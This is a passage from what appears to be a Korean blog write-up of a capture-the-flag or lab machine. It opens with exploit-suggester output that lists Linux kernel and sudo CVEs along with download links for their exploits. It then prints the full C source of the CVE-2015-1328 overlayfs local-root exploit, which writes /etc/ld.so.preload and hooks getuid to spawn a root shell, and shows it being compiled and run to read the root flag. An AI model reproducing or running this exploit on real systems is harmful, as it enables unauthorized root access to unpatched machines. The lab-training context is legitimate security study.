   Comments: Requires ability to plug in a malicious USB device and to execute a malicious binary as a non-privileged user

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
   Exposure: probable
   Tags: [ ubuntu=(14.04|15.10) ]{kernel:4.2.0-(18|19|20|21|22)-generic}
   Download URL: https://www.exploit-db.com/download/39166

[+] [CVE-2015-3202] fuse (fusermount)

   Details: http://seclists.org/oss-sec/2015/q2/520
   Exposure: probable
   Tags: debian=7.0|8.0,[ ubuntu=* ]
   Download URL: https://www.exploit-db.com/download/37089
   Comments: Needs cron or system admin interaction

[+] [CVE-2015-1318] newpid (apport)

   Details: http://openwall.com/lists/oss-security/2015/04/14/4
   Exposure: probable
   Tags: [ ubuntu=14.04 ]
   Download URL: https://gist.githubusercontent.com/taviso/0f02c255c13c5c113406/raw/eafac78dce51329b03bea7167f1271718bee4dcc/newpid.c

[+] [CVE-2022-32250] nft_object UAF (NFT_MSG_NEWSET)

   Details: https://research.nccgroup.com/2022/09/01/settlers-of-netlink-exploiting-a-limited-uaf-in-nf_tables-cve-2022-32250/
https://blog.theori.io/research/CVE-2022-32250-linux-kernel-lpe-2022/
   Exposure: less probable
   Tags: ubuntu=(22.04){kernel:5.15.0-27-generic}
   Download URL: https://raw.githubusercontent.com/theori-io/CVE-2022-32250-exploit/main/exp.c
   Comments: kernel.unprivileged_userns_clone=1 required (to obtain CAP_NET_ADMIN)

[+] [CVE-2021-3156] sudo Baron Samedit

   Details: https://www.qualys.com/2021/01/26/cve-2021-3156/baron-samedit-heap-based-overflow-sudo.txt
   Exposure: less probable
   Tags: mint=19,ubuntu=18|20, debian=10
   Download URL: https://codeload.github.com/blasty/CVE-2021-3156/zip/main

[+] [CVE-2021-22555] Netfilter heap out-of-bounds write

   Details: https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
   Exposure: less probable
   Tags: ubuntu=20.04{kernel:5.8.0-*}
   Download URL: https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2021-22555/exploit.c
   Comments: ip_tables kernel module must be loaded

[+] [CVE-2019-18634] sudo pwfeedback

   Details: https://dylankatz.com/Analysis-of-CVE-2019-18634/
   Exposure: less probable
   Tags: mint=19
   Download URL: https://github.com/saleemrashid/sudo-cve-2019-18634/raw/master/exploit.c
   Comments: sudo configuration requires pwfeedback to be enabled.

[+] [CVE-2019-15666] XFRM_UAF

   Details: https://duasynt.com/blog/ubuntu-centos-redhat-privesc
   Exposure: less probable
   Download URL: 
   Comments: CONFIG_USER_NS needs to be enabled; CONFIG_XFRM needs to be enabled

[+] [CVE-2017-7308] af_packet

   Details: https://googleprojectzero.blogspot.com/2017/05/exploiting-linux-kernel-via-packet.html
   Exposure: less probable
   Tags: ubuntu=16.04{kernel:4.8.0-(34|36|39|41|42|44|45)-generic}
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2017-7308/poc.c
   ext-url: https://raw.githubusercontent.com/bcoles/kernel-exploits/master/CVE-2017-7308/poc.c
   Comments: CAP_NET_RAW cap or CONFIG_USER_NS=y needed. Modified version at 'ext-url' adds support for additional kernels

[+] [CVE-2017-5618] setuid screen v4.5.0 LPE

   Details: https://seclists.org/oss-sec/2017/q1/184
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/https://www.exploit-db.com/exploits/41154

[+] [CVE-2016-9793] SO_{SND|RCV}BUFFORCE

   Details: https://github.com/xairy/kernel-exploits/tree/master/CVE-2016-9793
   Exposure: less probable
   Download URL: https://raw.githubusercontent.com/xairy/kernel-exploits/master/CVE-2016-9793/poc.c
   Comments: CAP_NET_ADMIN caps OR CONFIG_USER_NS=y needed. No SMEP/SMAP/KASLR bypass included. Tested in QEMU only

[+] [CVE-2016-6663,CVE-2016-6664|CVE-2016-6662] mysql-exploit-chain

   Details: https://legalhackers.com/advisories/MySQL-Maria-Percona-PrivEscRace-CVE-2016-6663-5616-Exploit.html
   Exposure: less probable
   Tags: ubuntu=16.04.1
   Download URL: http://legalhackers.com/exploits/CVE-2016-6663/mysql-privesc-race.c
   Comments: Also MariaDB ver<10.1.18 and ver<10.0.28 affected

[+] [CVE-2015-8660] overlayfs (ovl_setattr)

   Details: http://www.halfdog.net/Security/2015/UserNamespaceOverlayfsSetuidWriteExec/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/39230

[+] [CVE-2015-1318] newpid (apport) 2

   Details: http://openwall.com/lists/oss-security/2015/04/14/4
   Exposure: less probable
   Tags: ubuntu=14.04.2
   Download URL: https://www.exploit-db.com/download/36782

[+] [CVE-2014-5207] fuse_suid

   Details: https://www.exploit-db.com/exploits/34923/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/34923

[+] [CVE-2014-4014] inode_capable

   Details: http://www.openwall.com/lists/oss-security/2014/06/10/4
   Exposure: less probable
   Tags: ubuntu=12.04
   Download URL: https://www.exploit-db.com/download/33824

[+] [CVE-2014-0196] rawmodePTY

   Details: http://blog.includesecurity.com/2014/06/exploit-walkthrough-cve-2014-0196-pty-kernel-race-condition.html
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/33516

[+] [CVE-2016-0728] keyring

   Details: http://perception-point.io/2016/01/14/analysis-and-exploitation-of-a-linux-kernel-vulnerability-cve-2016-0728/
   Exposure: less probable
   Download URL: https://www.exploit-db.com/download/40003
   Comments: Exploit takes about ~30 minutes to run. Exploit is not reliable, see: https://cyseclabs.com/blog/cve-2016-0728-poc-not-working
  • 익스플로잇 성공 확률이 높은 취약점으로 overlayfs 가 있습니다.

EXPLOIT DATABASE에 overlayfs를 검색해보면


/*
# Exploit Title: ofs.c - overlayfs local root in ubuntu
# Date: 2015-06-15
# Exploit Author: rebel
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
# CVE : CVE-2015-1328     (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)

*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
CVE-2015-1328 / ofs.c
overlayfs incorrect permission handling + FS_USERNS_MOUNT

user@ubuntu-server-1504:~$ uname -a
Linux ubuntu-server-1504 3.19.0-18-generic #18-Ubuntu SMP Tue May 19 18:31:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
user@ubuntu-server-1504:~$ gcc ofs.c -o ofs
user@ubuntu-server-1504:~$ id
uid=1000(user) gid=1000(user) groups=1000(user),24(cdrom),30(dip),46(plugdev)
user@ubuntu-server-1504:~$ ./ofs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# id
uid=0(root) gid=0(root) groups=0(root),24(cdrom),30(dip),46(plugdev),1000(user)

greets to beist & kaliman
2015-05-24
%rebel%
*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*=*
*/

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sched.h>
#include <sys/stat.h>
#include <sys/types.h>
#include <sys/mount.h>
#include <sys/types.h>
#include <signal.h>
#include <fcntl.h>
#include <string.h>
#include <linux/sched.h>

#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n    return _real_getuid();\n}\n"

static char child_stack[1024*1024];

static int
child_exec(void *stuff)
{
    char *file;
    system("rm -rf /tmp/ns_sploit");
    mkdir("/tmp/ns_sploit", 0777);
    mkdir("/tmp/ns_sploit/work", 0777);
    mkdir("/tmp/ns_sploit/upper",0777);
    mkdir("/tmp/ns_sploit/o",0777);

    fprintf(stderr,"mount #1\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
            fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
            exit(-1);
        }
        file = ".access";
        chmod("/tmp/ns_sploit/work/work",0777);
    } else file = "ns_last_pid";

    chdir("/tmp/ns_sploit/o");
    rename(file,"ld.so.preload");

    chdir("/");
    umount("/tmp/ns_sploit/o");
    fprintf(stderr,"mount #2\n");
    if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
        if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
            exit(-1);
        }
        chmod("/tmp/ns_sploit/work/work",0777);
    }

    chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
    umount("/tmp/ns_sploit/o");
}

int
main(int argc, char **argv)
{
    int status, fd, lib;
    pid_t wrapper, init;
    int clone_flags = CLONE_NEWNS | SIGCHLD;

    fprintf(stderr,"spawning threads\n");

    if((wrapper = fork()) == 0) {
        if(unshare(CLONE_NEWUSER) != 0)
            fprintf(stderr, "failed to create new user namespace\n");

        if((init = fork()) == 0) {
            pid_t pid =
                clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
            if(pid < 0) {
                fprintf(stderr, "failed to create new mount namespace\n");
                exit(-1);
            }

            waitpid(pid, &status, 0);

        }

        waitpid(init, &status, 0);
        return 0;
    }

    usleep(300000);

    wait(NULL);

    fprintf(stderr,"child threads done\n");

    fd = open("/etc/ld.so.preload",O_WRONLY);

    if(fd == -1) {
        fprintf(stderr,"exploit failed\n");
        exit(-1);
    }

    fprintf(stderr,"/etc/ld.so.preload created\n");
    fprintf(stderr,"creating shared library\n");
    lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
    write(lib,LIB,strlen(LIB));
    close(lib);
    lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
    if(lib != 0) {
        fprintf(stderr,"couldn't create dynamic library\n");
        exit(-1);
    }
    write(fd,"/tmp/ofs-lib.so\n",16);
    close(fd);
    system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
    execl("/bin/su","su",NULL);
}

C언어로 작성된 익스플로잇 코드가 있습니다.


컴파일 해서 실행시켜보면

$ vi overlayfs.c
$ gcc -o overlayfs overlayfs.c
$ ls
linux-exploit-suggester.sh  overlayfs  overlayfs.c
$ ./overlayfs
spawning threads
mount #1
mount #2
child threads done
/etc/ld.so.preload created
creating shared library
# whoami
root

루트 권한으로 쉘이 떳습니다.



플래그 읽기

# cd /root
# ls
flag.txt
# cat flag.txt
Hello and welcome.
You successfully compromised the company "JABC" and the server completely !!
Congratulations !!!
Hope you enjoyed it.

What do you think of A.I.?
profile
Sisyphus

0개의 댓글

관련 채용 정보